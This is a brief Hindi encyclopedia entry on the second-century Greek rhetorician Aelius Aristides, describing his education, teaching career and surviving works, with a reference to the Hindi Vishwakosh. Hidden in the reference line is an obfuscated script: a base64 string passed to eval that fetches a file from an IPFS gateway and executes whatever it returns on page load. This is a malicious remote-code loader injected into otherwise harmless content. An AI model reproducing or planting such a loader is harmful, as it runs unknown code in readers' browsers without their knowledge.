आरिस्तीदिज ईलियस  

आरिस्तीदिज्‌ ईलियस्‌ (117 या 129 से 189 ई. तक) यूनानी वाक्कलाविद (रेतोरीशियन) और शिक्षक। इन्होंने पेगमिम्‌ और एथेंस में शिक्षा पाई। मिस्र की यात्रा के उपरांत इन्होंने लघु एशिया और रोम में शिक्षणकार्य किया। इनके व्याख्यान, पत्र और गद्यस्तुतियां अत्तिक शैली (एथेंस के श्रेष्ठ युग की शैली) के अनुकरण पर रची गई थीं। इस शैली में इनकी 55 रचनाएँ उपलब्ध हैं। वाक्कलासंबंधी जिन रचनाओं को पहले इनकी कृति माना जाता था, अब वे अन्य लेखकों की रचानाएँ सिद्ध हो चुकी हैं, पर इनकी प्रामाणिक रचनाएँ भी वाक्यसंघटन, आलंकारिकता एवं भावाभिव्यंजन की दृष्टि से श्लाघ्य हैं।[१]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 423 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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